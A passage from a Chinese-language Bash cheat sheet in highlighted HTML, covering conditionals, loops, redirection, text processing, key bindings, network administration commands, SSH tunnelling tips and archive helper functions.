一样的可执行程序，但最后一个参数必须为 ]</span></span><br><span class="line"><span class="comment"># 这个名字为 "[" 的可执行程序一般就在 /bin 或 /usr/bin 下面，比 test 优雅些</span></span><br><span class="line"><span class="keyword">if</span> [ -e /etc/passwd ]; <span class="keyword">then</span>   </span><br><span class="line">    <span class="built_in">echo</span> <span class="string">"alright it exists ... "</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">"it doesn't exist ... "</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 和上面两个完全等价，其实到 bash 时代 [ 已经是内部命令了，用 enable 可以看到</span></span><br><span class="line">[ -e /etc/passwd ] &amp;&amp; <span class="built_in">echo</span> <span class="string">"alright it exists"</span> || <span class="built_in">echo</span> <span class="string">"it doesn't exist"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 判断变量的值</span></span><br><span class="line"><span class="keyword">if</span> [ <span class="string">"<span class="variable">$varname</span>"</span> = <span class="string">"foo"</span> ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">"this is foo"</span></span><br><span class="line"><span class="keyword">elif</span> [ <span class="string">"<span class="variable">$varname</span>"</span> = <span class="string">"bar"</span> ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">"this is bar"</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">"neither"</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 复杂条件判断，注意 || 和 &amp;&amp; 是完全兼容 POSIX 的推荐写法</span></span><br><span class="line"><span class="keyword">if</span> [ <span class="variable">$x</span> -gt 10 ] &amp;&amp; [ <span class="variable">$x</span> -lt 20 ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">"yes, between 10 and 20"</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 可以用 &amp;&amp; 命令连接符来做和上面完全等价的事情</span></span><br><span class="line">[ <span class="variable">$x</span> -gt 10 ] &amp;&amp; [ <span class="variable">$x</span> -lt 20 ] &amp;&amp; <span class="built_in">echo</span> <span class="string">"yes, between 10 and 20"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 小括号和 -a -o 是 POSIX XSI 扩展写法，小括号是字面量，输入时前面要加反斜杆</span></span><br><span class="line"><span class="keyword">if</span> [ \( <span class="variable">$x</span> -gt 10 \) -a \( <span class="variable">$x</span> -lt 20 \) ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">"yes, between 10 and 20"</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 同样可以用 &amp;&amp; 命令连接符来做和上面完全等价的事情</span></span><br><span class="line">[ \( <span class="variable">$x</span> -gt 10 \) -a \( <span class="variable">$x</span> -lt 20 \) ] &amp;&amp; <span class="built_in">echo</span> <span class="string">"yes, between 10 and 20"</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 判断程序存在的话就执行</span></span><br><span class="line">[ -x /bin/ls ] &amp;&amp; /bin/ls -l</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果不考虑兼容 posix sh 和 dash 这些的话，可用 bash 独有的 ((..)) 和 [[..]]:</span></span><br><span class="line">https://www.ibm.com/developerworks/library/l-bash-test/index.html</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 流程控制：while / for / case / until </span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># while 循环</span></span><br><span class="line"><span class="keyword">while</span> condition; <span class="keyword">do</span></span><br><span class="line">    statements</span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line">i=1</span><br><span class="line"><span class="keyword">while</span> [ <span class="variable">$i</span> -le 10 ]; <span class="keyword">do</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="variable">$i</span>; </span><br><span class="line">    i=$(expr <span class="variable">$i</span> + 1)</span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># for 循环：上面的 while 语句等价</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> &#123;1..10&#125;; <span class="keyword">do</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="variable">$i</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> name [<span class="keyword">in</span> list]; <span class="keyword">do</span></span><br><span class="line">    statements</span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># for 列举某目录下面的所有文件</span></span><br><span class="line"><span class="keyword">for</span> f <span class="keyword">in</span> /home/*; <span class="keyword">do</span> </span><br><span class="line">    <span class="built_in">echo</span> <span class="variable">$f</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># bash 独有的 (( .. )) 语句，更接近 C 语言，但是不兼容 posix sh</span></span><br><span class="line"><span class="keyword">for</span> (( initialisation ; ending condition ; update )); <span class="keyword">do</span></span><br><span class="line">    statements</span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 和上面的写法等价</span></span><br><span class="line"><span class="keyword">for</span> ((i = 0; i &lt; 10; i++)); <span class="keyword">do</span> <span class="built_in">echo</span> <span class="variable">$i</span>; <span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># case 判断</span></span><br><span class="line"><span class="keyword">case</span> expression <span class="keyword">in</span> </span><br><span class="line">    pattern1 )</span><br><span class="line">        statements ;;</span><br><span class="line">    pattern2 )</span><br><span class="line">        statements ;;</span><br><span class="line">    * )</span><br><span class="line">        otherwise ;;</span><br><span class="line"><span class="keyword">esac</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># until 语句</span></span><br><span class="line">until condition; <span class="keyword">do</span></span><br><span class="line">    statements</span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># select 语句</span></span><br><span class="line">select name [<span class="keyword">in</span> list]; <span class="keyword">do</span></span><br><span class="line">  statements that can use <span class="variable">$name</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 命令处理</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">command</span> ls                         <span class="comment"># 忽略 alias 直接执行程序或者内建命令 ls</span></span><br><span class="line"><span class="built_in">builtin</span> <span class="built_in">cd</span>                         <span class="comment"># 忽略 alias 直接运行内建的 cd 命令</span></span><br><span class="line"><span class="built_in">enable</span>                             <span class="comment"># 列出所有 bash 内置命令，或禁止某命令</span></span><br><span class="line"><span class="built_in">help</span> &#123;builtin_command&#125;             <span class="comment"># 查看内置命令的帮助（仅限 bash 内置命令）</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">eval</span> <span class="variable">$script</span>                       <span class="comment"># 对 script 变量中的字符串求值（执行）</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 输出/输入 重定向</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">cmd1 | cmd2                        <span class="comment"># 管道，cmd1 的标准输出接到 cmd2 的标准输入</span></span><br><span class="line">&lt; file                             <span class="comment"># 将文件内容重定向为命令的标准输入</span></span><br><span class="line">&gt; file                             <span class="comment"># 将命令的标准输出重定向到文件，会覆盖文件</span></span><br><span class="line">&gt;&gt; file                            <span class="comment"># 将命令的标准输出重定向到文件，追加不覆盖</span></span><br><span class="line">&gt;| file                            <span class="comment"># 强制输出到文件，即便设置过：set -o noclobber</span></span><br><span class="line">n&gt;| file                           <span class="comment"># 强制将文件描述符 n的输出重定向到文件</span></span><br><span class="line">&lt;&gt; file                            <span class="comment"># 同时使用该文件作为标准输入和标准输出</span></span><br><span class="line">n&lt;&gt; file                           <span class="comment"># 同时使用文件作为文件描述符 n 的输出和输入</span></span><br><span class="line">n&gt; file                            <span class="comment"># 重定向文件描述符 n 的输出到文件</span></span><br><span class="line">n&lt; file                            <span class="comment"># 重定向文件描述符 n 的输入为文件内容</span></span><br><span class="line">n&gt;&amp;                                <span class="comment"># 将标准输出 dup/合并 到文件描述符 n</span></span><br><span class="line">n&lt;&amp;                                <span class="comment"># 将标准输入 dump/合并 定向为描述符 n</span></span><br><span class="line">n&gt;&amp;m                               <span class="comment"># 文件描述符 n 被作为描述符 m 的副本，输出用</span></span><br><span class="line">n&lt;&amp;m                               <span class="comment"># 文件描述符 n 被作为描述符 m 的副本，输入用</span></span><br><span class="line">&amp;&gt;file                             <span class="comment"># 将标准输出和标准错误重定向到文件</span></span><br><span class="line">&lt;&amp;-                                <span class="comment"># 关闭标准输入</span></span><br><span class="line">&gt;&amp;-                                <span class="comment"># 关闭标准输出</span></span><br><span class="line">n&gt;&amp;-                               <span class="comment"># 关闭作为输出的文件描述符 n</span></span><br><span class="line">n&lt;&amp;-                               <span class="comment"># 关闭作为输入的文件描述符 n</span></span><br><span class="line">diff &lt;(cmd1) &lt;(cmd2)               <span class="comment"># 比较两个命令的输出</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 文本处理 - cut</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">cut -c 1-16                        <span class="comment"># 截取每行头16个字符</span></span><br><span class="line">cut -c 1-16 file                   <span class="comment"># 截取指定文件中每行头 16个字符</span></span><br><span class="line">cut -c3-                           <span class="comment"># 截取每行从第三个字符开始到行末的内容</span></span><br><span class="line">cut -d<span class="string">':'</span> -f5                      <span class="comment"># 截取用冒号分隔的第五列内容</span></span><br><span class="line">cut -d<span class="string">';'</span> -f2,10                   <span class="comment"># 截取用分号分隔的第二和第十列内容</span></span><br><span class="line">cut -d<span class="string">' '</span> -f3-7                    <span class="comment"># 截取空格分隔的三到七列</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"hello"</span> | cut -c1-3           <span class="comment"># 显示 hel</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"hello sir"</span> | cut -d<span class="string">' '</span> -f2   <span class="comment"># 显示 sir</span></span><br><span class="line">ps | tr -s <span class="string">" "</span> | cut -d <span class="string">" "</span> -f 2,3,4  <span class="comment"># cut 搭配 tr 压缩字符</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 文本处理 - awk / sed </span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">awk <span class="string">'&#123;print $5&#125;'</span> file              <span class="comment"># 打印文件中以空格分隔的第五列</span></span><br><span class="line">awk -F <span class="string">','</span> <span class="string">'&#123;print $5&#125;'</span> file       <span class="comment"># 打印文件中以逗号分隔的第五列</span></span><br><span class="line">awk <span class="string">'/str/ &#123;print $2&#125;'</span> file        <span class="comment"># 打印文件中包含 str 的所有行的第二列</span></span><br><span class="line">awk -F <span class="string">','</span> <span class="string">'&#123;print $NF&#125;'</span> file      <span class="comment"># 打印逗号分隔的文件中的每行最后一列 </span></span><br><span class="line">awk <span class="string">'&#123;s+=$1&#125; END &#123;print s&#125;'</span> file   <span class="comment"># 计算所有第一列的合</span></span><br><span class="line">awk <span class="string">'NR%3==1'</span> file                 <span class="comment"># 从第一行开始，每隔三行打印一行</span></span><br><span class="line"></span><br><span class="line">sed <span class="string">'s/find/replace/'</span> file         <span class="comment"># 替换文件中首次出现的字符串并输出结果 </span></span><br><span class="line">sed <span class="string">'10s/find/replace/'</span> file       <span class="comment"># 替换文件第 10 行内容</span></span><br><span class="line">sed <span class="string">'10,20s/find/replace/'</span> file    <span class="comment"># 替换文件中 10-20 行内容</span></span><br><span class="line">sed -r <span class="string">'s/regex/replace/g'</span> file    <span class="comment"># 替换文件中所有出现的字符串</span></span><br><span class="line">sed -i <span class="string">'s/find/replace/g'</span> file     <span class="comment"># 替换文件中所有出现的字符并且覆盖文件</span></span><br><span class="line">sed -i <span class="string">'/find/i\newline'</span> file      <span class="comment"># 在文件的匹配文本前插入行</span></span><br><span class="line">sed -i <span class="string">'/find/a\newline'</span> file      <span class="comment"># 在文件的匹配文本后插入行</span></span><br><span class="line">sed <span class="string">'/line/s/find/replace/'</span> file   <span class="comment"># 先搜索行特征再执行替换</span></span><br><span class="line">sed -e <span class="string">'s/f/r/'</span> -e <span class="string">'s/f/r'</span> file    <span class="comment"># 执行多次替换</span></span><br><span class="line">sed <span class="string">'s#find#replace#'</span> file         <span class="comment"># 使用 # 替换 / 来避免 pattern 中有斜杆</span></span><br><span class="line">sed -i -r <span class="string">'s/^\s+//g'</span> file         <span class="comment"># 删除文件每行头部空格</span></span><br><span class="line">sed <span class="string">'/^$/d'</span> file                   <span class="comment"># 删除文件空行并打印</span></span><br><span class="line">sed -i <span class="string">'s/\s\+$//'</span> file            <span class="comment"># 删除文件每行末尾多余空格</span></span><br><span class="line">sed -n <span class="string">'2p'</span> file                   <span class="comment"># 打印文件第二行</span></span><br><span class="line">sed -n <span class="string">'2,5p'</span> file                 <span class="comment"># 打印文件第二到第五行</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 排序 - sort</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">sort file                          <span class="comment"># 排序文件</span></span><br><span class="line">sort -r file                       <span class="comment"># 反向排序（降序）</span></span><br><span class="line">sort -n file                       <span class="comment"># 使用数字而不是字符串进行比较</span></span><br><span class="line">sort -t: -k 3n /etc/passwd         <span class="comment"># 按 passwd 文件的第三列进行排序</span></span><br><span class="line">sort -u file                       <span class="comment"># 去重排序</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 快速跳转 - https://github.com/rupa/z</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">source</span> /path/to/z.sh               <span class="comment"># .bashrc 中初始化 z.sh</span></span><br><span class="line">z                                  <span class="comment"># 列出所有历史路径以及他们的权重</span></span><br><span class="line">z foo                              <span class="comment"># 跳到历史路径中匹配 foo 的权重最大的目录</span></span><br><span class="line">z foo bar                          <span class="comment"># 跳到历史路径中匹配 foo 和 bar 权重最大的目录</span></span><br><span class="line">z -l foo                           <span class="comment"># 列出所有历史路径中匹配 foo 的目录及权重</span></span><br><span class="line">z -r foo                           <span class="comment"># 按照最高访问次数优先进行匹配跳转</span></span><br><span class="line">z -t foo                           <span class="comment"># 按照最近访问优先进行匹配跳转</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 键盘绑定</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">bind</span> <span class="string">'"\eh":"\C-b"'</span>                <span class="comment"># 绑定 ALT+h 为光标左移，同 CTRL+b / &lt;Left&gt;</span></span><br><span class="line"><span class="built_in">bind</span> <span class="string">'"\el":"\C-f"'</span>                <span class="comment"># 绑定 ALT+l 为光标右移，同 CTRL+f / &lt;Right&gt;</span></span><br><span class="line"><span class="built_in">bind</span> <span class="string">'"\ej":"\C-n"'</span>                <span class="comment"># 绑定 ALT+j 为下条历史，同 CTRL+n / &lt;Down&gt;</span></span><br><span class="line"><span class="built_in">bind</span> <span class="string">'"\ek":"\C-p"'</span>                <span class="comment"># 绑定 ALT+k 为上条历史，同 CTRL+p / &lt;Up&gt;</span></span><br><span class="line"><span class="built_in">bind</span> <span class="string">'"\eH":"\eb"'</span>                 <span class="comment"># 绑定 ALT+H 为光标左移一个单词，同 ALT-b </span></span><br><span class="line"><span class="built_in">bind</span> <span class="string">'"\eL":"\ef"'</span>                 <span class="comment"># 绑定 ALT+L 为光标右移一个单词，同 ALT-f </span></span><br><span class="line"><span class="built_in">bind</span> <span class="string">'"\eJ":"\C-a"'</span>                <span class="comment"># 绑定 ALT+J 为移动到行首，同 CTRL+a / &lt;Home&gt;</span></span><br><span class="line"><span class="built_in">bind</span> <span class="string">'"\eK":"\C-e"'</span>                <span class="comment"># 绑定 ALT+K 为移动到行末，同 CTRL+e / &lt;End&gt;</span></span><br><span class="line"><span class="built_in">bind</span> <span class="string">'"\e;":"ls -l\n"'</span>             <span class="comment"># 绑定 ALT+; 为执行 ls -l 命令</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 网络管理：ip / ifconfig / nmap ...</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">ip a                               <span class="comment"># 显示所有网络地址，同 ip address</span></span><br><span class="line">ip a show eth1                     <span class="comment"># 显示网卡 IP 地址</span></span><br><span class="line">ip a add 172.16.1.23/24 dev eth1   <span class="comment"># 添加网卡 IP 地址</span></span><br><span class="line">ip a del 172.16.1.23/24 dev eth1   <span class="comment"># 删除网卡 IP 地址</span></span><br><span class="line">ip link show dev eth0              <span class="comment"># 显示网卡设备属性</span></span><br><span class="line">ip link <span class="built_in">set</span> eth1 up                <span class="comment"># 激活网卡</span></span><br><span class="line">ip link <span class="built_in">set</span> eth1 down              <span class="comment"># 关闭网卡</span></span><br><span class="line">ip link <span class="built_in">set</span> eth1 address &#123;mac&#125;     <span class="comment"># 修改 MAC 地址</span></span><br><span class="line">ip neighbour                       <span class="comment"># 查看 ARP 缓存</span></span><br><span class="line">ip route                           <span class="comment"># 查看路由表</span></span><br><span class="line">ip route add 10.1.0.0/24 via 10.0.0.253 dev eth0    <span class="comment"># 添加静态路由</span></span><br><span class="line">ip route del 10.1.0.0/24           <span class="comment"># 删除静态路由</span></span><br><span class="line"></span><br><span class="line">ifconfig                           <span class="comment"># 显示所有网卡和接口信息</span></span><br><span class="line">ifconfig -a                        <span class="comment"># 显示所有网卡（包括开机没启动的）信息</span></span><br><span class="line">ifconfig eth0                      <span class="comment"># 指定设备显示信息</span></span><br><span class="line">ifconfig eth0 up                   <span class="comment"># 激活网卡</span></span><br><span class="line">ifconfig eth0 down                 <span class="comment"># 关闭网卡</span></span><br><span class="line">ifconfig eth0 192.168.120.56       <span class="comment"># 给网卡配置 IP 地址</span></span><br><span class="line">ifconfig eth0 10.0.0.8 netmask 255.255.255.0 up     <span class="comment"># 配置 IP 并启动</span></span><br><span class="line">ifconfig eth0 hw ether 00:aa:bb:cc:dd:ee            <span class="comment"># 修改 MAC 地址</span></span><br><span class="line"></span><br><span class="line">nmap 10.0.0.12                     <span class="comment"># 扫描主机 1-1000 端口</span></span><br><span class="line">nmap -p 1024-65535 10.0.0.12       <span class="comment"># 扫描给定端口</span></span><br><span class="line">nmap 10.0.0.0/24                   <span class="comment"># 给定网段扫描局域网内所有主机</span></span><br><span class="line">nmap -O -sV 10.0.0.12              <span class="comment"># 探测主机服务和操作系统版本</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 有趣的命令</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">man hier                           <span class="comment"># 查看文件系统的结构和含义</span></span><br><span class="line">man <span class="built_in">test</span>                           <span class="comment"># 查看 posix sh 的条件判断帮助</span></span><br><span class="line">man ascii                          <span class="comment"># 显示 ascii 表</span></span><br><span class="line">getconf LONG_BIT                   <span class="comment"># 查看系统是 32 位还是 64 位</span></span><br><span class="line"><span class="built_in">bind</span> -P                            <span class="comment"># 列出所有 bash 的快捷键</span></span><br><span class="line">mount | column -t                  <span class="comment"># 漂亮的列出当前加载的文件系统</span></span><br><span class="line">curl ip.cn                         <span class="comment"># 取得外网 ip 地址和服务商信息</span></span><br><span class="line"><span class="built_in">disown</span> -a &amp;&amp; <span class="built_in">exit</span>                  <span class="comment"># 关闭所有后台任务并退出</span></span><br><span class="line">cat /etc/issue                     <span class="comment"># 查看 Linux 发行版信息</span></span><br><span class="line">lsof -i port:80                    <span class="comment"># 哪个程序在使用 80 端口？</span></span><br><span class="line">showkey -a                         <span class="comment"># 取得按键的 ASCII 码</span></span><br><span class="line">svn diff | view -                  <span class="comment"># 使用 Vim 来显示带色彩的 diff 输出</span></span><br><span class="line">mv filename.&#123;old,new&#125;              <span class="comment"># 快速文件改名</span></span><br><span class="line">time <span class="built_in">read</span>                          <span class="comment"># 使用 CTRL-D 停止，最简单的计时功能</span></span><br><span class="line">cp file.txt&#123;,.bak&#125;                 <span class="comment"># 快速备份文件</span></span><br><span class="line">sudo touch /forcefsck              <span class="comment"># 强制在下次重启时扫描磁盘</span></span><br><span class="line">find ~ -mmin 60 -<span class="built_in">type</span> f            <span class="comment"># 查找 $HOME 目录中，60 分钟内修改过的文件</span></span><br><span class="line">curl wttr.in/~beijing              <span class="comment"># 查看北京的天气预报</span></span><br><span class="line"><span class="built_in">echo</span> <span class="variable">$&#123;SSH_CLIENT%% *&#125;</span>             <span class="comment"># 取得你是从什么 IP 链接到当前主机上的</span></span><br><span class="line"><span class="built_in">echo</span> $[RANDOM%X+1]                 <span class="comment"># 取得 1 到 X 之间的随机数</span></span><br><span class="line"><span class="built_in">bind</span> -x <span class="string">'"\C-l":ls -l'</span>             <span class="comment"># 设置 CTRL+l 为执行 ls -l 命令</span></span><br><span class="line">find / -<span class="built_in">type</span> f -size +5M           <span class="comment"># 查找大于 5M 的文件</span></span><br><span class="line">chmod --reference f1 f2            <span class="comment"># 将 f2 的权限设置成 f1 一模一样的</span></span><br><span class="line">curl -L cheat.sh                   <span class="comment"># 速查表大全</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 常用技巧</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 列出最常使用的命令</span></span><br><span class="line"><span class="built_in">history</span> | awk <span class="string">'&#123;a[$2]++&#125;END&#123;for(i in a)&#123;print a[i] " " i&#125;&#125;'</span> | sort -rn | head</span><br><span class="line"></span><br><span class="line"><span class="comment"># 列出所有网络状态：ESTABLISHED / TIME_WAIT / FIN_WAIT1 / FIN_WAIT2 </span></span><br><span class="line">netstat -n | awk <span class="string">'/^tcp/ &#123;++tt[$NF]&#125; END &#123;for (a in tt) print a, tt[a]&#125;'</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 通过 SSH 来 mount 文件系统</span></span><br><span class="line">sshfs name@server:/path/to/folder /path/to/mount/point</span><br><span class="line"></span><br><span class="line"><span class="comment"># 显示前十个运行的进程并按内存使用量排序</span></span><br><span class="line">ps aux | sort -nk +4 | tail</span><br><span class="line"></span><br><span class="line"><span class="comment"># 在右上角显示时钟</span></span><br><span class="line"><span class="keyword">while</span> sleep 1;<span class="keyword">do</span> tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;<span class="keyword">done</span>&amp;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 从网络上的压缩文件中解出一个文件来，并避免保存中间文件</span></span><br><span class="line">wget -qO - <span class="string">"http://www.tarball.com/tarball.gz"</span> | tar zxvf -</span><br><span class="line"></span><br><span class="line"><span class="comment"># 性能测试：测试处理器性能</span></span><br><span class="line">python -c <span class="string">"import test.pystone;print(test.pystone.pystones())"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 性能测试：测试内存带宽</span></span><br><span class="line">dd <span class="keyword">if</span>=/dev/zero of=/dev/null bs=1M count=32768</span><br><span class="line"></span><br><span class="line"><span class="comment"># Linux 下挂载一个 iso 文件</span></span><br><span class="line">mount /path/to/file.iso /mnt/cdrom -oloop</span><br><span class="line"></span><br><span class="line"><span class="comment"># 通过主机 A 直接 ssh 到主机 B</span></span><br><span class="line">ssh -t hostA ssh hostB</span><br><span class="line"></span><br><span class="line"><span class="comment"># 下载一个网站的所有图片</span></span><br><span class="line">wget -r -l1 --no-parent -nH -nd -P/tmp -A<span class="string">".gif,.jpg"</span> http://example.com/images</span><br><span class="line"></span><br><span class="line"><span class="comment"># 快速创建项目目录</span></span><br><span class="line">mkdir -p work/&#123;project1,project2&#125;/&#123;src,bin,bak&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 按日期范围查找文件</span></span><br><span class="line">find . -<span class="built_in">type</span> f -newermt <span class="string">"2010-01-01"</span> ! -newermt <span class="string">"2010-06-01"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 显示当前正在使用网络的进程</span></span><br><span class="line">lsof -P -i -n | cut -f 1 -d <span class="string">" "</span>| uniq | tail -n +2</span><br><span class="line"></span><br><span class="line"><span class="comment"># Vim 中保存一个没有权限的文件</span></span><br><span class="line">:w !sudo tee &gt; /dev/null %</span><br><span class="line"></span><br><span class="line"><span class="comment"># 在 .bashrc / .bash_profile 中加载另外一个文件（比如你保存在 github 上的配置）</span></span><br><span class="line"><span class="built_in">source</span> ~/github/profiles/my_bash_init.sh</span><br><span class="line"></span><br><span class="line"><span class="comment"># 反向代理：将外网主机（202.115.8.1）端口（8443）转发到内网主机 192.168.1.2:443</span></span><br><span class="line">ssh -CqTnN -R 0.0.0.0:8443:192.168.1.2:443  user@202.115.8.1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 正向代理：将本地主机的 8443 端口，通过 192.168.1.3 转发到 192.168.1.2:443 </span></span><br><span class="line">ssh -CqTnN -L 0.0.0.0:8443:192.168.1.2:443  user@192.168.1.3</span><br><span class="line"></span><br><span class="line"><span class="comment"># socks5 代理：把本地 1080 端口的 socks5 的代理请求通过远程主机转发出去</span></span><br><span class="line">ssh -CqTnN -D localhost:1080  user@202.115.8.1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 终端下正确设置 ALT 键和 BackSpace 键</span></span><br><span class="line">http://www.skywind.me/blog/archives/2021</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 有用的函数</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 自动解压：判断文件后缀名并调用相应解压命令</span></span><br><span class="line"><span class="keyword">function</span> q-<span class="function"><span class="title">extract</span></span>() &#123;</span><br><span class="line">    <span class="keyword">if</span> [ -f <span class="variable">$1</span> ] ; <span class="keyword">then</span></span><br><span class="line">        <span class="keyword">case</span> <span class="variable">$1</span> <span class="keyword">in</span></span><br><span class="line">        *.tar.bz2)   tar -xvjf <span class="variable">$1</span>    ;;</span><br><span class="line">        *.tar.gz)    tar -xvzf <span class="variable">$1</span>    ;;</span><br><span class="line">        *.tar.xz)    tar -xvJf <span class="variable">$1</span>    ;;</span><br><span class="line">        *.bz2)       bunzip2 <span class="variable">$1</span>     ;;</span><br><span class="line">        *.rar)       rar x <span class="variable">$1</span>       ;;</span><br><span class="line">        *.gz)        gunzip <span class="variable">$1</span>      ;;</span><br><span class="line">        *.tar)       tar -xvf <span class="variable">$1</span>     ;;</span><br><span class="line">        *.tbz2)      tar -xvjf <span class="variable">$1</span>    ;;</span><br><span class="line">        *.tgz)       tar -xvzf <span class="variable">$1</span>    ;;</span><br><span class="line">        *.zip)       unzip <span class="variable">$1</span>       ;;</span><br><span class="line">        *.Z)         uncompress <span class="variable">$1</span>  ;;</span><br><span class="line">        *.7z)        7z x <span class="variable">$1</span>        ;;</span><br><span class="line">        *)           <span class="built_in">echo</span> <span class="string">"don't know how to extract '<span class="variable">$1</span>'..."</span> ;;</span><br><span class="line">        <span class="keyword">esac</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">"'<span class="variable">$1</span>' is not a valid file!"</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 自动压缩：判断后缀名并调用相应压缩程序</span></span><br><span class="line"><span class="keyword">function</span> q-<span class="function"><span class="title">compress</span></span>() &#123;</span><br><span class="line">    <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$1</span>"</span> ] ; <span class="keyword">then</span></span><br><span class="line">        FILE=<span class="variable">$1</span></span><br><span class="line">        <span class="keyword">case</span> <span class="variable">$FILE</span> <span class="keyword">in</span></span><br><span class="line">        *.tar) <span class="built_in">shift</span> &amp;&amp; tar -cf <span class="variable">$FILE</span> $* ;;</span><br><span class="line">        *.tar.bz2) <span class="built_in">shift</span> &amp;&amp; tar -cjf <span class="variable">$FILE</span> $* ;;</span><br><span class="line">        *.tar.xz) <span class="built_in">shift</span> &amp;&amp; tar -cJf <span class="variable">$FILE</span> $* ;;</span><br><span class="line">        *.tar.gz) <span class="built_in">shift</span> &amp;&amp; tar -czf <span class="variable">$FILE</span> $* ;;</span><br><span class="line">        *.tgz) <span class="built_in">shift</span> &amp;&amp; tar -czf <span class="variable">$FILE</span> $* ;;</span><br><span class="line">        *.zip) <span class="built_in">shift</span> &amp;&amp; zip <span class="variable">$FILE</span> $* ;;</span><br><span class="line">        *.rar) <span class="built_in">shift</span> &amp;&amp; rar <span class="variable">$FILE</span> $* ;;</span><br><span class="line">        <span class="keyword">esac</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">"usage: q-compress &lt;foo.tar.gz&gt; ./foo ./bar"</span></span><br><span class="line">    <span 